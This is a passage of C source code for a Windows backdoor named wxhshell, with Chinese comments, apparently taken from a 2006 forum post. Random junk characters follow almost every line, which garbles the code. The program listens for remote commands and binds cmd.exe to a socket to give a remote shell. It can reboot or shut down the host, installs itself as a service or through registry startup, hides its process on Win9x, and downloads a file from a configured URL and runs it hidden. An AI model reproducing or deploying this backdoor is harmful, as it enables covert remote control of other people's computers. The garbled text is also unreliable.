P:KS*lOp  
    switch(cmd[0]) { #g=7fu{n:  
  ZD~ra7  
  // 帮助 &PZ&'N|P  
  case '?': { $\Oc]%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4 ))ZBq?  
    break; TMJq-u51  
  } <<w*_GM  
  // 安装 Ui|z#{8&  
  case 'i': { LT[g +zGB  
    if(Install()) Nk2n&(~$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y<qWG 8X  
    else lWPh2k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [8jIu&tJf  
    break; _59f.FsVR  
    } TAB'oLNp  
  // 卸载 N2 4J!L  
  case 'r': { QlE]OAdB42  
    if(Uninstall()) FdGnNDl*e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z=/&tRe W  
    else D,\hRQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WYJH+"@%j  
    break; pF/s5z  
    } 9x`1VR :  
  // 显示 wxhshell 所在路径 y=!7PB_\|  
  case 'p': { `:.a5  
    char svExeFile[MAX_PATH]; CFXr=.yz  
    strcpy(svExeFile,"\n\r"); []:&WA 9N  
      strcat(svExeFile,ExeFile); mR O@ZY;5  
        send(wsh,svExeFile,strlen(svExeFile),0); ;W{2\ Es  
    break; >npTUOGL=n  
    } `l2h65\  
  // 重启 zb3,2D+P  
  case 'b': { >=1Aa,_tc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #$X _,+<HZ  
    if(Boot(REBOOT)) AZ>F+@d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Z%-&) F  
    else { ?t)Mt]("  
    closesocket(wsh); ]w0_!Z&  
    ExitThread(0); BdrYc^?JL]  
    } ka/>jV"  
    break; J4%"38l  
    } ZZM;%i-B  
  // 关机 ]TVc 'G;  
  case 'd': { NY?pvb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <!=:{&d%  
    if(Boot(SHUTDOWN)) '>cZ7:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); > -,$  
    else { -e O>d}  
    closesocket(wsh); .B?fG)'WsF  
    ExitThread(0); "[ieOFI  
    } ;b}cn!U]  
    break; j^.|^q<Y  
    } Ax6zx  
  // 获取shell 4k!>JQor  
  case 's': { !t[;~`d9  
    CmdShell(wsh); cJ\ 1ndBH  
    closesocket(wsh); [>LO'}%  
    ExitThread(0); N :OLN[  
    break; dDA,Ps  
  } N6Dv1_c,  
  // 退出 wbB\~*Z)  
  case 'x': { !?" pnKb}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T|p%4hH  
    CloseIt(wsh); 9* P-k.Bl  
    break; g_@b- :$Yq  
    } v6H!.0  
  // 离开 s<;{q+1#  
  case 'q': { JkI|Ojmm/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); liBFx6\"S  
    closesocket(wsh); 558!?kx$  
    WSACleanup(); j$<g8Bg=o  
    exit(1); x \I uM  
    break; -Un"z6*  
        } ?69E_E  
  } "pO** z$Z  
  } 8_Z"@  
Tv `&  
  // 提示信息 vR (nd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v|dt[>G  
} {8 &=t8,c  
  } <E:_9#Z0sc  
Qb7&S5m  
  return; qT01@Bku  
} dGUiMix{N  
a^Z=xlJ/uZ  
// shell模块句柄 *uSlp_;kB  
int CmdShell(SOCKET sock) ] f5vk  
{ _;R#B`9Iu  
STARTUPINFO si; {P3gMv;  
ZeroMemory(&si,sizeof(si)); l GJN;G7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y-,S_59  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2V~uPZ  
PROCESS_INFORMATION ProcessInfo; fm$Qd^E|e  
char cmdline[]="cmd"; ] K+8f-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~Lq`a@]A  
  return 0; pU<GI@gU  
} b~{nS,_Rn  
6\Tq,I7  
// 自身启动模式 1ed^{Wa4$9  
int StartFromService(void) G *<g%"  
{ og_ylCh:  
typedef struct nm)/BK  
{ JE#H&]  
  DWORD ExitStatus; O|+$ 9#,  
  DWORD PebBaseAddress; Bat@  
  DWORD AffinityMask; >p`i6_P0P/  
  DWORD BasePriority; O_ vH w^  
  ULONG UniqueProcessId; 7V5kYYR^F  
  ULONG InheritedFromUniqueProcessId; Zad>i w}  
}   PROCESS_BASIC_INFORMATION; 8Pva]Q  
>[~`rOU*|Y  
PROCNTQSIP NtQueryInformationProcess; +:Nz_l  
I}|E_U1Qj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  z@~mu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [q/eRIS_  
`-Tb=o}.  
  HANDLE             hProcess; jkAru_C  
  PROCESS_BASIC_INFORMATION pbi; %s;5  
-S&d5(R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^W`RBrJay  
  if(NULL == hInst ) return 0; Ir(U7D  
LMN`<R(q]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1;!dTh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jaIcIc=Pf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [h>A<O  
b ZZ _yc  
  if (!NtQueryInformationProcess) return 0; {DE4PE`  
|oQhtk8.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -Vs;4-B{9  
  if(!hProcess) return 0; *g9VI;X  
*|cs_,3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bxWzm|  
dnM.  
  CloseHandle(hProcess); 7\H_9o0$  
dKevhm)R"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H`yUSB IP  
if(hProcess==NULL) return 0; p _2Yc]8  
sp_19u  
HMODULE hMod; |o ^mg9  
char procName[255];  .4Mc4'  
unsigned long cbNeeded; tVNFulcz$  
aU$8 0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xi~I<&  
Tu^H,vf  
  CloseHandle(hProcess); 4tvZJS hV  
qWXw*d1]  
if(strstr(procName,"services")) return 1; // 以服务启动 }h|HT  
2+K - I  
  return 0; // 注册表启动 CUft  
} ,,g: x  
B-|C%~fe  
// 主模块 ]6MXG%  
int StartWxhshell(LPSTR lpCmdLine) -k%|sqDZj  
{ 1M?Sl?+j  
  SOCKET wsl; MRHRa  
BOOL val=TRUE; j*~z.Q|  
  int port=0; f %P#.  
  struct sockaddr_in door; l=a< =i  
)/z+W[t  
  if(wscfg.ws_autoins) Install(); s -F3(mc(  
;0Ih:YY6  
port=atoi(lpCmdLine); d7Z$/ $  
`:dGPB BO  
if(port<=0) port=wscfg.ws_port; M{=p0?X  
sD6vHX%  
  WSADATA data; COxJ,v(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Qe]&  
;Wn0-`_1,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {axRq'=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zlv`yC*r  
  door.sin_family = AF_INET; !F2JT@6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E< pO!P  
  door.sin_port = htons(port); }To-c'  
Pb7-pu5 X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1NAtg*`  
closesocket(wsl); yQFZRDV~  
return 1; [h.i,%Ua"P  
} ;F/s!bupCM  
/f>I;z1  
  if(listen(wsl,2) == INVALID_SOCKET) { n,p \~Tu,  
closesocket(wsl); %D ,(S-Uj  
return 1; 3IoN.  
} fh&Q(:ZU  
  Wxhshell(wsl);  >6'brb  
  WSACleanup(); O5JG!bGE_F  
Hc\oR(L  
return 0; *{=q:E$  
0}\8,U  
} ~tB9kLFG  
qITd.< k  
// 以NT服务方式启动 $-n_$jLY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oho~?.F  
{ ?1H>k<Jp  
DWORD   status = 0; tk+t3+  
  DWORD   specificError = 0xfffffff; -B:O0;f  
zzX9Q:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k-$J #  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /$UWTq/C7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oN(F$Nvk  
  serviceStatus.dwWin32ExitCode     = 0; 9YwS"~Q =w  
  serviceStatus.dwServiceSpecificExitCode = 0; ^>h2.A J  
  serviceStatus.dwCheckPoint       = 0; Kxsj_^&|i  
  serviceStatus.dwWaitHint       = 0; !6*4^$i#o  
eie u|_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )GJlQ1x  
  if (hServiceStatusHandle==0) return; 5:l"*  
L$; gf_L  
status = GetLastError(); X+//$J  
  if (status!=NO_ERROR)  >fgV!o4  
{ Q0TKM >  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Le,+jm  
    serviceStatus.dwCheckPoint       = 0; #s-li b  
    serviceStatus.dwWaitHint       = 0; 9`DY6qfly  
    serviceStatus.dwWin32ExitCode     = status; BWsD~Ft  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6hqqZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4,ewp coC%  
    return; Wu693<  
  } d6"B_,*b  
s *<T5Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ` aaT #r  
  serviceStatus.dwCheckPoint       = 0; Ky'\t7p u  
  serviceStatus.dwWaitHint       = 0; /S%!{;:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yx/qp<=  
} S3YAc4  
Td![Id  
// 处理NT服务事件,比如:启动、停止 r A9Rz^;xa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J i:0J},m  
{ Redxg.P  
switch(fdwControl) +,bgOq\aG  
{ 8hvh xp  
case SERVICE_CONTROL_STOP: K.\-  
  serviceStatus.dwWin32ExitCode = 0; u2Qs}FX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?a-}1A{  
  serviceStatus.dwCheckPoint   = 0; LY(h>`  
  serviceStatus.dwWaitHint     = 0; | b)N;t  
  { |} K7Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gPWl#5P:  
  }  tD}HL_  
  return; 74*iF'f?c  
case SERVICE_CONTROL_PAUSE: }#U3vMx(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]ch=D  
  break; `z3"zso  
case SERVICE_CONTROL_CONTINUE: q"pnFK9/L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WnC0T5S?U  
  break; _yVF+\kQ  
case SERVICE_CONTROL_INTERROGATE: 1oIu~f{`  
  break; `o!a RX  
}; We*c_;@<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jRIm_)  
} &b&o];a  
hk1jxnQ h  
// 标准应用程序主函数 J'y*>dW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MOW {g\{\  
{ pvJPMx  
},LW@Z}  
// 获取操作系统版本 3$ 1 z  
OsIsNt=GetOsVer(); kXbdR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S=~8nr/V  
v;@-bED(Qs  
  // 从命令行安装 OHha5n  
  if(strpbrk(lpCmdLine,"iI")) Install(); +,$"%C  
OT5'cl  
  // 下载执行文件 T"m(V/L$W  
if(wscfg.ws_downexe) { }ZWeb#\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >zDnJb&"&  
  WinExec(wscfg.ws_filenam,SW_HIDE); !Rw\k'<GKX  
} *oX~z>aE  
\W6 |un  
if(!OsIsNt) { W=~H_ L?/  
// 如果时win9x,隐藏进程并且设置为注册表启动 I:aG(8Bi)H  
HideProc(); bz? *#S  
StartWxhshell(lpCmdLine); S[ ,r .+  
} cIgicp}U  
else 8Cr?0Z  
  if(StartFromService()) XJ;JDch  
  // 以服务方式启动 [Pt5c6L:  
  StartServiceCtrlDispatcher(DispatchTable); Up$vBE8i]  
else G{ $Zg  
  // 普通方式启动 uv[e0,@  
  StartWxhshell(lpCmdLine); }?Y+GT"E  
gU}?Yy  
return 0; k|7XC@i]%  
}
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只看该作者 1 发表于: 2006-10-10
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